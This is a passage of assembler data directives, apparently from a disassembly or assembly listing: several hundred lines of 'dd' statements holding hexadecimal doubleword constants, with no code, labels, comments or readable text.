321D38B3h, 6555300Dh, 70436937h, 3BB13D1Eh dd 0FBA4E400h, 23FFA8E5h, 9AAD18C3h, 0EAC90FE6h, 94140EFh dd 0D8A6B931h, 5160D34Fh, 88062041h, 0EF8300B7h, 4DF22A42h dd 302290D1h, 7D9800EAh, 8FA833F1h, 0D20005FEh, 4137FA6Dh dd 197B40Bh, 1CD33B31h, 0EF238A62h, 0E4DC14A1h, 0A963B7CBh dd 0C289EEE1h, 0AD7880B6h, 74FD0C73h, 31A0FAEh, 0FB018BE1h dd 80E830E9h, 0D9875879h, 1F1ABD2h, 0D5B1B007h, 8E3255BBh dd 346B5228h, 530B8288h, 4088061h, 0C1481E3h, 0D5CFAEBBh dd 3C600A51h, 0B8753421h, 0C7DA00B5h, 0C1739FD0h, 0A700D121h dd 0B67BA686h, 0FAE9ABFBh, 0A402870h, 2456759Ch, 1F9CDB13h dd 0B54F806Fh, 79D7FBBAh, 0A2AE0C14h, 0B84A81B8h, 38B84298h dd 66D46480h, 0B68683FBh, 0E70CBD74h, 204E34B7h, 81851EE5h dd 0FDCD050Ch, 6AA40148h, 416089B0h, 4099ADD8h, 80C8322Ch dd 2CE91A41h, 3433630h, 837E6784h, 0ABB3AAB8h, 9F715FA8h dd 289E3B0Ch, 26D2C0Ch, 3A41384Ah, 0FCA01933h, 0DCA84E1Eh dd 0DE504561h, 0A0D26352h, 0C120B390h, 545348D8h, 18984739h dd 0CF582850h, 0DC0CEC00h, 343A7CF4h, 4051D452h, 60AEA963h dd 0D0D28ED8h, 71FA3C00h, 2116DB48h, 1E1A734Fh, 0B0D30BC8h dd 0A0C92539h, 322B2F00h, 0E4A9D1FDh, 889500F3h, 6377AE03h dd 1C91EACBh, 6783E300h, 0A269E4C0h, 0ADA10490h, 0C824090h dd 6159F030h, 54F61044h, 95399CB4h, 0A6083FC0h, 1408194h dd 167CF51Bh, 83DFAC88h, 8B4BEBE8h, 6482B007h, 4FF8A0BAh dd 0B5D50233h, 0D1CD410h, 31613C48h, 0D424EA84h, 3A124CC9h dd 92CC2130h, 820BE012h, 0E3051400h, 0C24EE0D0h, 0B0690AEEh dd 7A82408h, 259DD4C6h, 53A006A5h, 8A03B1ACh, 0CD619E14h dd 5EB3E88Fh, 0C15200C7h, 89DAC3A9h, 48C2F505h, 46097650h dd 9DAE2450h, 76795878h, 82126F00h, 500194CAh, 1EF401E1h dd 0D6D4FD60h, 8747CD95h, 0F38A3CB9h, 0A885A030h, 0C47C3A1Dh dd 0C1DF5A1Eh, 164E90C1h, 0E1F8EBE7h, 4892A4EFh, 0B2D4BD0Ah dd 60099424h, 0BE6010A8h, 71CC06A7h, 99D937F7h, 88B7DD04h dd 6CC01EEFh, 49020725h, 1731090h, 318A67CBh, 403A059Dh dd 47AB61E4h, 323B181Dh, 1D139000h, 75F57Bh, 0F76EDD68h dd 0A966BFFDh, 932F400h, 0FF0AAB30h, 0D1BEC3C8h, 419FB58Dh dd 0E4B3A196h, 55075691h, 0B4DE9509h, 0EB2C3580h, 5E610F7Dh dd 796087F4h, 73302F48h, 0C070A00h, 932A68E0h, 0CE6C0062h dd 537BACA2h, 7C1DB687h, 47DE3781h, 75EE7F00h, 28B0DC17h dd 188073B8h, 0F8DBB2D3h, 0B426CB85h, 0A24780A0h, 3E44D4EAh dd 4F971D40h, 0C51C980Bh, 0CCC0F302h, 0AAC175E8h, 2C3DF831h dd 4E5030E4h, 52806669h, 90C41C48h, 86ECC500h, 8E7A6FBAh dd 0B62E2C1Dh, 3067CA20h, 0DFBC0A69h, 9C926DFAh, 392430E4h dd 130284E8h, 0C42D3AFDh, 7EC4B088h, 0D06E69B7h, 0B99C1C98h dd 5753DA00h, 0A0306744h, 0BA0C06F1h, 58418997h, 0B5B6CC18h dd 24C50BF1h, 9101B29h dd 349B6B9Fh, 0CC02DFE2h, 2B3CC0F5h, 0B98B0FA2h, 0D8646982h dd 1330804Dh, 4860899Dh, 79376EB1h, 2BD8C73Eh, 0A138A157h dd 0EF4881D9h, 16E8A869h, 9290C034h, 859D10E4h, 0C7E2041Ch dd 0ECCC4508h, 96AD2C4Fh, 0ECCC423Ch, 44D55CA7h, 2FC01F13h dd 0A7E24017h, 401D61F0h, 0EA695328h, 4FD4AC90h, 0A9CE90A8h dd 5B7C6E00h, 11B2660Ch, 74910F72h, 8F237E8Ah, 710FE730h dd 60831BB1h, 110923D1h, 0AFB030CCh, 0E6CEAD81h, 84464CA2h dd 691AD337h, 6DC33A40h, 0ABD39E6h, 0BFE1D803h, 0A00253BCh dd 0EDCC136Eh, 0DE0CE899h, 0C8670D89h, 0E8201E10h, 70F9B7Dh dd 8269790Fh, 0A2096F74h, 2A24351Ch, 96823F90h, 6B7B822Ch dd 82E218C1h, 0C5145F91h, 8DFCA019h, 5498AE7Bh, 540AF484h dd 7729039h, 49118334h, 0C01950B8h, 970331AEh, 0CC10BD0Ch dd 0DC22B0B3h, 96BF026Ah, 0ED0B4BA0h, 0A4501C44h, 0F9D420C0h dd 30A01680h, 1886D046h, 68552619h, 881340D0h, 809240B8h dd 52365D22h, 0EE00F053h, 0F461FF51h, 0B8144E27h, 680A967h dd 4DCDE533h, 8CDC31D0h, 30E1E0h, 62D8B0A7h, 2BBE7855h dd 0C128A040h, 0E4F4DC41h, 0CD33166Ah, 0D4C452Dh, 0FC84C854h dd 0C1499707h, 13F017DEh, 0CAC5B0h, 5CF4A251h, 697A641Eh dd 31221F7Fh, 35A803D0h, 0ED6BA6F5h, 1F4DD6B0h, 94231017h dd 87E55A03h, 0B50A008Ch, 0E630FB8Ah, 44B13339h, 4559B02h dd 0B330C1ABh, 942218FCh, 0D3671C40h, 1C5423ACh, 9EF1313Fh dd 82C1D7ABh, 1BA388B8h, 49EECB11h, 5190019Ch, 287C076Bh dd 0DB48C468h, 0E0C08183h, 9AAD0045h, 50C9D8DCh, 5E1D6D38h dd 49C4BB06h, 44904CA0h, 927E358h, 8D22DCB8h, 0CC214882h dd 547C8400h, 4979DFB6h, 0D98203C6h, 0AC520261h, 8100E9F8h dd 2D47978Ch, 67A0C1Ah, 5EA06820h, 5444E163h, 57F490h dd 0F39461B0h, 2A502015h, 88C54628h, 431B769h, 48408118h dd 0A5C534ABh, 68F03763h, 49E384h, 0EC7B4451h, 470F37Dh dd 65264B01h, 1677BD1Fh, 0CA427E4h, 4D373A59h, 0CC54FB31h dd 9C0EC988h, 205AAB91h, 0DC31E84Bh, 0DD08010Fh, 0A3ACBC0h dd 53B02488h, 180064B9h, 0E702CC64h, 478904E9h, 8C4668A8h dd 1F1EEB30h, 0F2C06BE1h, 0E602A6C3h, 0C15F032Ah, 236DCE95h dd 30A5B2D3h, 0D22AF988h, 138A7700h, 0D5DE933Bh, 8FB60C2Dh dd 0B3810409h, 47C93814h, 0A26801B8h, 0E1D488B4h, 0E62BD040h dd 0A7A002E4h, 95276C6Ah, 0A8D08448h, 109C0B48h, 120042B1h dd 7C2C32D1h, 0DB746A0Ch, 64297EF0h, 7981E447h, 1D65C108h dd 24A7E1D4h, 10192Ch, 7BE45A07h, 94FE7123h, 3B689F48h dd 67838068h, 0BDED34AEh, 510B26Eh, 66526C35h, 0DCB40291h dd 8844323Ah, 249D7308h, 0AEF50EA3h, 0C411D6ABh, 0F3F8103Dh dd 81E0000Fh, 89078FE1h, 63037FDBh, 7785AAF5h, 59D82495h dd 3A278510h, 23300138h, 1AB704Eh, 88916135h, 0AE541815h dd 60BF4E9h, 0C180F502h, 0AF01F8B2h, 330A59C3h, 61DA7A30h dd 5C5039D8h, 89D8659Bh, 83CC4463h, 5100AD98h, 4EFC98DEh dd 3B2CA0E3h, 2BA888B6h, 0C08348ACh, 0D48FB85Ch, 969A3320h dd 30005AD8h, 6F8104BCh, 24276665h, 84F04C84h, 13AA9C5h dd 606EB04Eh, 6297AD01h, 9FE20448h, 988869F0h, 84E4DA5h dd 3D58C00Ah, 0A2F1FDCh, 99429A0h, 2090B5CCh, 8522CFB3h dd 94B07E3Bh, 92D11224h, 49C2244h, 0C56B6820h, 45A1698h dd 0A41C3D40h, 59445340h, 4D612455h, 38708264h, 5040CEFDh dd 0CF00848Ch, 0EC9BD1A1h, 0FC5636B7h, 0DC480F27h, 6014F8A0h dd 7C248B10h, 1E347B3Ch, 42C2C18h, 0E0FBE8E1h, 0A313A180h dd 0B60CBF93h, 0E137F700h, 209BBBB5h, 8ABA154Fh, 7CB230DBh dd 566F802Fh, 116FAD6h, 4EE09867h, 0E0914D4Ch, 88619D32h dd 0BC5EE629h, 5BABE080h, 2BFB4D19h, 69DCB202h, 42218428h dd 0F208204h, 0B510C0FCh, 0DBEB3063h, 0A0C0DCB1h, 0D7E204B2h dd 0D30851F9h, 99E03497h, 41D69D77h, 0E1114C1Fh, 3202A003h dd 910680E5h, 7838EEC8h, 7C160379h, 84E53AAEh, 0B808214Eh dd 7CD98119h, 407790EEh, 57C86818h, 9F39E0A8h, 0AE6AF805h dd 0FC403D97h, 657D8885h, 40DCA8A6h, 607C03ACh, 66BD6B8Ah dd 58DFC010h, 49D67476h, 0D2002049h, 52548D15h, 4107183Ch dd 0D47C1185h, 3025BB10h, 8028316Ah, 49AD9989h, 0E82C2098h dd 95B98A8h, 0AB850FDh, 400EA832h, 81A0314Fh, 5CE9BF13h dd 64CD7421h, 54DEF5FCh, 0A1E394E2h, 94399785h, 0F8416B00h dd 393A9349h, 1961FA66h, 1D372A10h, 0D6D00590h, 0C208A9F0h dd 92151C8h, 285AE2E4h, 53D0722Ah, 4C9D2818h, 0EF58B9AAh dd 3400C099h, 6C3D274Eh, 6D9D2646h, 3090A4h, 5CA5B4DDh dd 53AA7CD2h, 3EC440E2h, 394E37Eh, 6B2C1201h, 0E39BB032h dd 198222F1h, 416CFB33h, 0F331AEB5h, 3AC23C5Ah, 5848063Ch dd 0A6559F6Eh, 305851D4h, 95BA026Bh, 0BCDB1034h, 6267008Dh dd 0CFF02D12h, 0E52030DDh, 0AC250069h, 316B1B5Bh, 428CEF8h dd 5BE948A5h, 61AA23BCh, 84FE98AEh, 3F6B1E91h, 8A390883h dd 5FA8A13Ah, 642D6FDCh, 0FB50AD22h, 44843454h, 630660B1h dd 6E64533Eh, 7CED0371h, 0C6B61719h, 975EECD0h, 0C7098509h dd 70188ABDh, 7B742F81h, 7EA5E1FBh, 919918A0h, 0FC29316Dh dd 0B7942016h, 455382BCh, 12A08426h, 7349C93h, 0D9DB4708h dd 7084C1E4h, 8F1024E9h, 36C400FFh, 0E8EE3837h, 42324E00h dd 985B9A71h, 0AD5D2607h, 1EF01BA9h, 0A0EF0Bh, 16D5728Eh dd 0FD793129h, 18FA5800h, 3EE3DF38h, 3B2FEE59h, 8E00CC7Ch dd 0A6666414h, 0CA1D9BE6h, 27A6B45Ah, 0B712D600h, 0F6FF7930h dd 401960F5h, 23423F3Dh, 0CC0E4A7Ch, 0A022921Ch, 0F2E09337h dd 70AF001Eh, 0E56B7EBBh, 36002955h, 15B14EBh, 1BA3824h dd 234005D7h, 0D2BE7944h, 44878C5h, 0F8A8DC7Fh, 41CE6E3h dd 0D8A4214Ah, 20A74B03h, 23ABE871h, 0C81F00B1h, 797EE9C1h dd 0B70054D6h, 5E187A43h, 3066D5ECh, 0F740E3BAh, 8300EE41h dd 7C4E511Dh, 0E09A36h, 0BCBA2FE4h, 6F3286A6h, 2E09B400h dd 0F17F0C70h, 0BB3801D1h, 304802E3h, 513F0043h, 605E0127h dd 33F6E0A6h, 62F070C4h, 54DA3800h, 87D81FBh, 81987Fh dd 0F829BD66h, 0EE312C48h, 98421C02h, 616A5E28h, 9422BB38h dd 0D7E9A0EBh, 0FE4400FFh, 3EC57C3Fh, 79001951h, 0F9E0A360h dd 4070BA27h, 160E0BABh, 61802EFDh, 6B23B08Fh, 78C60h dd 75873247h, 208D5B7Eh, 68376300h, 9EFDEA11h, 4DE4EBh dd 32E56DD7h, 951AAC41h, 40D5B437h, 314205A1h, 925B9800h dd 5E791300h, 2BEE2367h, 0B2C21EC6h, 5A0B404Bh, 1A702FB7h dd 23F58000h, 5CD296Ch, 3E87EC4Eh, 90819A7Eh, 655E6F13h dd 0AB8C666Bh, 0E57237F0h, 433EE800h, 977C30FAh, 2A9D004Bh dd 0E065AA74h, 0C040253Dh, 0C6E0F90h, 784028DBh, 24F5644Bh dd 0E8F43807h, 407E47FBh, 0A1187EADh, 6A7C3D1Ah, 0ECED1B80h dd 4BA5B6C7h, 3DDA7200h, 0E09540F9h, 0D8FC0158h, 4DD2965h dd 8245DC3Fh, 514F8700h, 0AAAD6723h, 0B020F8E0h, 4BBC008Bh dd 416E770h, 0A00AC30h, 3219F157h, 71E2Ah, 7087264Ah, 0E5921783h dd 0A560610Eh, 9DEC26DDh, 0AC885942h, 7A492201h, 33BA9519h dd 0FF044608h, 0F70014E8h, 2F6DACEDh, 16F8FEFh, 70B349FBh dd 4A240E6Bh dd 0ABF7A034h, 9BDF3989h, 0C7097h, 0FF4B6F16h, 0F4E4643h dd 37FB6028h, 4318198Bh, 0DFC3EB6Bh, 43D2100h, 0F769807Ah dd 62181A17h, 44F2082Fh, 7A03FCE2h, 0BF09AEC8h, 0BCC7882Eh dd 6C690097h, 0A5BB1CD3h, 16395149h, 13248667h, 79BA53h dd 59F809Eh, 6F408834h, 8583B33h, 0FC2100A8h, 0E4B09F89h dd 0AD03621Ah, 0EEABDC5h, 958ACA32h, 80D49154h, 0B6F31C25h dd 8C65009Bh, 0EDE5FBBBh, 0D6019480h, 7622B853h, 41EC3934h dd 0DDC0C03Ch, 0F92AADEh, 0EB7BB617h, 0C84EA0D0h, 207F055h dd 1806BD31h, 1C993A03h, 0F2A302ACh, 0C52F3F20h, 1CD2A000h dd 8BE27EDCh, 14C06709h, 22BC7049h, 55AD1D5h, 0B6905097h dd 7D6C843h, 3A876B3Fh, 0B1170785h, 2F41D920h, 6D639404h dd 0CE64B441h, 8120939Ch, 7999D4A0h, 0F0A9609Dh, 0C596AD6Ah dd 6B0CECB6h, 2055B868h, 3978D415h, 82E9CE60h, 2765EC86h dd 94C69B33h, 1802D17Ah, 0BE63116h, 40C0D4DBh, 671A0799h dd 43B1F200h, 0B5D96EDEh, 226B60E4h, 340340D3h, 0E039ED25h dd 18B61BCCh, 0C84ACD38h, 6D00AEE0h, 7A5C5B81h, 0BC051C65h dd 464C288Ch, 7A0A02E5h, 9CE76982h, 22400F8h, 3825967Ah dd 4D0B1FC4h, 0E8CEAE0Bh, 0F7B68ECh, 0FE4C93DCh, 4D65D440h dd 0E63930F0h, 0E0E5A5B3h, 4B0CD264h, 1D1CC801h, 3A08B400h dd 119D437Bh, 0A3030F70h, 8E80BB80h, 4E256C1h, 55D12B05h dd 0B801B360h, 0F2438B7h, 0BD71E087h, 0FA184C50h, 41183401h dd 2CA120B4h, 56252082h, 0D000BA90h, 1E3BD73Ch, 40CF55D2h dd 624F77EEh, 5901E78Dh, 9D2F472Bh, 0DC44F8DCh, 3E10903Ah dd 3D5CC06Bh, 41636CBh, 0AA39659Dh, 805CBC0Ch, 11C80DD7h dd 0AD711F10h, 0BDD143BFh, 0A000B9B0h, 86892B05h, 7AA7A8A5h dd 93DB2D17h, 0E3511066h, 4B9187F2h, 0E5205818h, 16041A5h dd 0E3ECF4ADh, 0C4FA2043h, 0DC136550h, 78E409D3h, 3F67311h dd 5DD20A9Fh, 0EDE86D8Ah, 9D3249h, 9D47C0F0h, 26B7284h dd 51D29ACFh, 84978A79h, 616ADB88h, 0FCACCE82h, 0E32A9842h dd 1FF45CE5h, 0D48F1A1Fh, 0D1F2CBC0h, 0BCA54Fh, 5A2E0A23h dd 0EDE2A84Eh, 38722F05h, 0E4170E67h, 0F8041094h, 0C000AECCh dd 6F3D1ECh, 6B52EB12h, 0B2B5D823h, 61B440CDh, 0B3D60665h dd 480DF788h, 0A6B1ED01h, 0DFD9538Dh, 9A9DD420h, 39E209ACh dd 0F45A6637h, 0AD30F402h, 476B3597h, 60D1C498h, 4EC8676Eh dd 0EED0C01Ch, 983155CEh, 8304C0AFh, 4D9B6C40h, 194C24h dd 982DA048h, 0EECC98C8h, 2429E26Fh, 0F8D81624h, 89F087Fh dd 51CFB034h, 0BA8CF71Dh, 894B0280h, 4A7EA895h, 8306417Dh dd 5220C869h, 78C60098h, 931B5661h, 686E9B6h, 0D3FCDCB0h dd 42001116h, 0D0E1AE1Bh, 4BBA4F10h, 40E883A3h, 12582100h dd 0B104E6AEh, 7EA40937h, 0B8040AE1h, 8D4CC199h, 0DED0002Ch dd 197B0FEEh, 2A9CB4FAh, 0FD70C8D0h, 0E2AE18C0h, 0F0EE9D0h dd 80AE0F59h, 0CF4E5697h, 0B43D0955h, 0E4F80128h, 6900DC71h dd 0C65BF282h, 0FE4DD0E4h, 5CC0A2B0h, 7C896384h, 0E9213810h dd 99D012h, 5C364ADDh, 0D81DEA5Fh, 0A7C1B7EBh, 8B427E3Eh dd 48E09866h, 4898961Ah, 0C06CA09Dh, 343DDB5h, 0ABAD8FC9h dd 169B274Bh, 94EE6A88h, 7F5B6500h, 0BE1EB789h, 162E7C2Dh dd 413F2488h, 307D9C54h, 0CF4F209Dh, 0C8161C7Fh, 48B04488h dd 0EFCC2713h, 4A4458CCh, 462835B0h, 122C0828h, 49F8BC0h dd 87904334h, 666088FBh, 1E61A9Dh, 8F0C6C46h, 0EB974CD1h dd 644112BAh, 0B9A0206Bh, 1855D88h, 0B67C787Ah, 2B6552C6h dd 73BA8454h, 0AD5050F0h, 0D32A2FCCh, 2C01F053h, 0F71F2EF9h dd 0DF0FE1Eh, 4C951C2Dh, 362941ABh, 80C4B569h, 1F530471h dd 9D8C7273h, 0DC751400h, 51521354h, 30A7B270h, 0CE0DCCEDh dd 98BCE8BDh, 48B82420h, 250610E7h, 189D68B6h, 0AD34FC3Ah dd 18B8C1B5h, 3AB338FCh, 5CD8577Ah, 0A017C418h, 0B1486B69h dd 8C3EBCA8h, 0EC11E3Ah, 60857CADh, 9DD0786Eh, 581162E4h dd 2060BBD4h, 90D9B298h, 7060CE68h, 0E2CC3280h, 44123B0h dd 232433C8h, 9F8A0B0Dh, 62582485h, 0FE20A288h, 879F93h dd 0BC2CD6CCh, 0DEC12B69h, 9C52EC01h, 65CEE189h, 908C0BC1h dd 0FA39B353h, 713EC803h, 992A9E17h, 0B034A0D4h, 81B40B55h dd 1078942Bh, 677EDF05h, 748184F7h, 83DC7DEBh, 8B24C2Bh dd 8C4BBCh, 0D0CD1566h, 0BFE8112Ah, 0E84E942Dh, 0D591DCh dd 5BFFA3A7h, 6A293EF4h, 0CCCD283Ah, 0E239C40h, 0D0C4AE7Fh dd 204D6270h, 47AE165Ch, 0D4E93809h, 14F082C8h, 320200A9h dd 81B565CDh, 0BB235DD8h, 9DEC66FCh, 82D53887h, 0C8E80493h dd 0E3004ADDh, 0EFB419D6h, 9DEBE137h, 0AC529C8Bh, 0D6EC2B00h dd 0D1349B89h, 158C2865h, 28B53AB8h, 80C04234h, 0E5816B78h dd 0E0BA9C0Bh, 0A8E03778h, 10BEABDh, 320C40ABh, 0B84C9DC5h dd 0B554A6C9h, 48B56C09h, 8AE1ECF8h, 24525860h, 2104684h dd 34069F81h, 10A63180h, 19F86F9h, 21231A30h, 7BD4AE68h dd 9CA82820h, 31090270h, 166997BBh, 556AD4E8h, 0AC079901h dd 0C0562302h, 12A4CC24h, 8D7422Dh, 0C0A8303Ch, 7E02FF46h dd 88D0E0AEh, 57104A31h, 7C01AE15h, 596EB4DBh, 4C70F5D2h dd 53E121EDh, 0C60280BBh, 0B069679Ah, 0A8946ED3h, 0FC25C524h dd 0B0D0120h, 0AD6789EBh, 7CE870h, 9B8BE10Ch, 468D16F0h dd 566028F1h, 8B2AF00Ch, 65D00869h, 0A091964h, 0E44802DBh dd 510B00A5h, 0C81F321Dh, 31D25650h, 387788Ch, 4C9AA3A6h dd 8022C3B5h, 0A12D0033h, 9F1CF99Bh, 20B70984h, 0CC3CF664h dd 0B1F0A6h, 0B67D671Eh, 0E2A32978h, 84F8D326h, 690E3409h dd 6B1131A8h, 40E5CD27h, 0F5F2A3A0h, 0D5CC8502h, 615286BAh dd 4610B14Ch, 0F700F1B3h, 8DF5D1F3h, 1313A3CDh, 8BD3E106h dd 0CED6C858h, 0C79D77A3h, 0AEB456C0h, 13CD080h, 30A75512h dd 40E772D5h, 0F0C86888h, 0B10A1C9Ah, 983C70E2h, 6C6A0DC1h dd 5849B842h, 0B1551574h, 692408DDh, 679264F4h, 0B414D6E0h dd 42448CF7h, 0D6F22Ah, 92DAA6ABh, 65F3A701h, 51FB1212h dd 0A223A82Fh, 6EB61700h, 75AF2952h, 34871CF6h, 0FC0065CDh dd 3E40EFE2h, 81DBE8C9h, 9C757CBCh, 0E03C507Bh, 3451AA30h dd 5E00577Fh, 9E7DBA8Ch, 9FB261h, 94C5481h, 0B339C653h dd 0F359D302h, 2E9FB17h, 0C8C8E185h, 9920DAF8h, 21446FEh dd 340A9F85h, 1638E7A0h, 885000F5h, 6D83F5Fh, 0C6398B05h dd 0B082ABD7h, 0A7CC8A0h, 0BDDF3FBAh, 3FE4B86Eh, 43ED0EBEh dd 0D81E8462h, 24747031h, 8AD183h, 0A335C23Dh, 825C20D5h dd 3EA810ACh, 0BD16E00Fh, 0B04D6BA0h, 825A24Eh, 91C01731h dd 0D08E80A1h, 0FFEF15h, 0D175C843h, 0E1CDDA3Ch, 0EA13BE02h dd 814A58B7h, 0C59D33C0h, 2DE01864h, 2061A4C7h, 26C84C78h dd 9528B613h, 0D4FAA882h, 0D48A84B8h, 7F778049h, 614B52EBh dd 0CE648821h, 1DD16C34h, 12BBB691h, 2402396h, 2CF6C7E2h dd 0C0A0DC85h, 0CE0288FDh, 0E91F6C8Bh, 5BF3850h, 84FC143Ch dd 3C102F25h, 7826B7E2h, 58007C71h, 0E7AF0299h, 538D3A22h dd 0A50E98D2h, 17A0860Fh, 0BC4A5DEFh, 80D8BE2Eh, 0A60C6505h dd 6809E416h, 0DF983087h, 0B47D08D6h, 4164384Fh, 0D6E82F40h dd 0C0172E47h, 24E4052Ch, 6237010Fh, 0F1150AC4h, 0EBD06001h dd 0C9974600h, 0E31C5E40h dd 6B683052h, 0ED340431h, 78875D5Eh, 54827DC4h, 9F843017h dd 0A8340912h, 0F80F1C8Bh, 47429F8Dh, 78646753h, 39301B08h dd 687C00D7h, 983E984h, 0A200E099h, 8DD8577Bh, 62B9007Dh dd 326F96B5h, 0A100D2AEh, 36E380A8h, 0B63B39CCh, 17838368h dd 819D7C61h, 19DCB8h, 5790F3Bh, 9AF3AF3h, 0A094A021h dd 0B5CE810Bh, 4D187844h, 9DB848D4h, 0E5917201h, 0A375EC47h dd 4747438h, 0A6247B02h, 2C38A05Bh, 0EF8F5C9Ch, 0A490B047h dd 0EE8CA1B8h, 730902B4h, 0DFC05DA2h, 531E8084h, 2B59C82h dd 6C518653h, 318A5F1h, 0EF7BBE0Bh, 20D253h, 0D2835687h dd 95739DE2h, 0A18D2D00h, 5D2E8C5Ah, 0D5340001h, 8164B686h dd 0F45FC867h, 66390CC0h, 0FD3AE6DCh, 898B7428h, 373150A0h dd 0C03A6984h, 0E883DF68h, 36C2E5h, 0FA3B3F8Bh, 781E8C02h dd 5AC0DC18h, 0C0D674D0h, 0A66CDEF9h, 0D90019F9h, 5B2B73EBh dd 601ABADAh, 7A608EEDh, 9D2D0C8Dh, 1804E14Dh, 7914F1DEh dd 3F5C18A1h, 3FDAD3Fh, 54466E51h, 0D802232Fh, 7296CF55h dd 0F280E4B5h, 3A81069Ch, 78F904E5h, 3739E60Bh, 0A3106048h dd 0BF44000Ah, 88B5E59Fh, 8890D378h, 70BD9B12h, 57A364C0h dd 0C4E4A724h, 8A3360A1h, 68B21F50h, 0D1B680D2h, 0EB55A081h dd 0CBFBFD02h, 4723F4EEh, 60A6C448h, 4CA905A7h, 0ED0C8047h dd 0AE81081h, 1D1D5Fh, 0AC8924FAh, 17D6E1C0h, 0DCDF5CB4h dd 0D6EA2DE0h, 42F4F301h, 7C305EA4h, 0DF2CDC30h, 9E24FB51h dd 519C0930h, 0E2F80404h, 3347F220h, 0A9CC1EB8h, 0CB906405h dd 0E4204AEFh, 134EA299h, 471C30EAh, 0A05E6284h, 33405B9Eh dd 0C69ED2Ch, 0B935058Dh, 4482F4h, 649F4DE7h, 0C5134285h dd 4001A55Eh, 4C2D3A18h, 788081ADh, 5474A376h, 19A8AF54h dd 0B2C06000h, 57633779h, 0ACE1000Ch, 7C8BDCA4h, 982C88B4h dd 5F823845h, 0B48F4A8h, 56446478h, 8B8070B3h, 0E7C96904h dd 0ECF27174h, 0BD4907Bh, 3CBE4E6Ch, 26D2B0C0h, 821B1A00h dd 9BB38DE5h, 618100E2h, 0B877171Fh, 0B24B163Fh, 4C23142Eh dd 8281C802h, 4910600Bh, 12109018h, 445CB84Ah, 0F222DBF8h dd 0F4947F1Ch, 45465Ch, 85F2941Ch, 5CDA3833h, 0B4C07450h dd 0DEA468A2h, 6B7F3D00h, 0CF10DC25h, 0DFC801EEh, 375FB101h dd 5268774Eh, 30A7E2B4h, 230427A8h, 0D52F6C8Dh, 0DCB0E490h dd 327200EBh, 25A2B2DFh, 0AC6BF4B6h, 87C4F1E8h, 0E9C4BD73h dd 0C0554E6h, 1A25CD32h, 0B0A49801h, 12043FCCh, 7087BF4h dd 75CE2E5Eh, 62813500h, 6C802FB4h, 8A828C80h, 2096EC6Bh dd 817A0560h, 2CFF5E69h, 0FD0023F0h, 7F9F6C7Ah, 995F734h dd 5E8D3F40h, 33185802h, 96787A00h, 0BB3B00B3h, 2199766Dh dd 383507ECh, 648119F9h, 1E7EF528h, 0F45604F8h, 23D0B4B5h dd 0E76B8B14h, 7A08854Ch, 71D71C82h, 2667D8h, 0A6FA367Ah dd 0C7ECF802h, 729DAE2Ah, 0C068179Ch, 45E85C7Ch, 0E430F9CDh dd 0FC9448F8h, 2CDA5412h, 38BE52C0h, 0AF3A1330h, 0E4ECA874h dd 74C0295Fh, 351A1B8h, 0E50BE946h, 0A7D8BA7Dh, 0A5040C81h dd 27D910D6h, 1FA178E0h, 7D65CE63h, 556844CFh, 0ABD10E43h dd 0B724FAC8h, 0BB1CA882h, 9114970Bh, 0A428044h, 0F9B28Bh dd 0A2A36A1Ah, 51CCBE7Dh, 0E20EB094h, 0FCB017A7h, 5D9C1A75h dd 0A829193Dh, 965EA400h, 99D2AC9Dh, 404800A0h, 0BF30E86Bh dd 0CCBD41BCh, 9F549EF1h, 3ECAB6Bh, 69857A09h, 21D562CCh dd 847A0127h, 713F90AAh, 0AC6084C3h, 0D9004A33h, 0F96B79EBh dd 2788BA56h, 5C23C049h, 0D4DA22E1h, 32F214D0h, 6F35D518h dd 31A1CCD0h, 0E05878C3h, 0A80D0C48h, 242015B0h, 2CF0CBCDh dd 0B2D412B8h, 436417F0h, 0E7F4F432h, 8051EFC0h, 0DFCD98B7h dd 20241ECBh, 687F0269h, 28DAF84Dh, 7CB044h, 0AAFB4C82h dd 0AF4B661Fh, 73B53D0Ch, 9524E8E4h, 3920A40Ah, 990A3FA0h dd 0D4ADB09Dh, 4A432A64h, 0F90BD0A0h, 0F8B99D3Bh, 2AE028DCh dd 44C4A780h, 0C99F60D6h, 0F53827ECh, 1D197083h, 67827002h dd 0E4B04A8h, 5F859D24h, 0FF3CD140h, 25AEA463h, 0D8D91273h dd 32E6A101h, 2AD45A06h, 81850280h, 84A9B84Dh, 0CF02B458h dd 5728A68Ch, 19B4806Fh, 6040C86Ah, 0DA096838h, 0FC1FB4F4h dd 0A00C6817h, 4DCD8116h, 0CC0FB841h, 0F4613C1Bh, 88A2055Ah dd 2C860460h, 0A5467494h, 87CD7900h, 0E32D174h, 20B1CC28h dd 96EDAD00h, 982BCB4h, 17609238h, 0B6E771h, 948ACE45h dd 1804430Fh, 4ED40BDEh, 34D040ABh, 163DF4Dh, 4A550D00h dd 0C7B2BCD2h, 0A46C5495h, 0DA0A000Ch, 0D08C895Ch, 84046F21h dd 0A8CA5E2Ch, 0B8580481h, 378A7C0Ch, 71158AF4h, 0DC661D4h dd 0F680C79Dh, 764B0E89h, 280824F6h, 250BE61Dh, 117D8B56h dd 0C8198D00h, 0B4127BD6h, 0C4CA383Fh, 0D6E6F100h, 0ED7DBA67h dd 0C55CEBF2h, 0CA813A5h, 30B020C5h, 25E092D2h, 0B8713039h dd 0EB603447h, 0D35A86h, 0A3896D77h, 0FDF5A211h, 966D508h dd 3CD080F3h, 32B78902h, 0A54ED16h, 3A6CD050h, 472BFC6Ah dd 6D0F0C08h, 4F9F22DEh, 0EEB4C176h, 6C980318h, 0B02F692Bh dd 1D00D711h, 0CC907AFBh, 0E798DB95h, 5467B226h, 624A4088h dd 0BC51BCE7h, 35183ED9h, 0E47CA570h, 61682860h, 1BEE58ACh dd 0C9B7ECCBh, 0FE6EF1C7h, 1CF830DCh, 6C88184Ah, 728B89E8h dd 6ADBF124h, 0E93C1A0Ch, 0BD1B80C9h, 9F9955E3h, 0D1A50B42h dd 2060874Dh, 0D579140Ah, 6200C094h, 33A2FA52h, 0DDDC13F8h dd 0DAB817E1h, 0C2AFC06Ch, 9E8EFA3h, 0D9591B81h, 6180CCD4h dd 1CD02C7Bh, 0E4B80540h, 0D3135CAAh, 1925AD60h, 6860A005h dd 0FA933690h, 0EBD400FCh, 5872A318h, 4200B909h, 4D204BBDh dd 0EF30B505h, 807874h, 2406A97Ch, 0B1DC080Ch, 28B6DB0Eh dd 9021D281h, 4A2A15E0h, 0C0EC886Ch, 0B41AD6E4h, 2C85E743h dd 14F080E9h, 0DA604530h, 9CBA8350h, 773503A4h, 32E9286Ah dd 617C8807h, 8760595Eh, 7BDD65A6h, 1E5F5E67h, 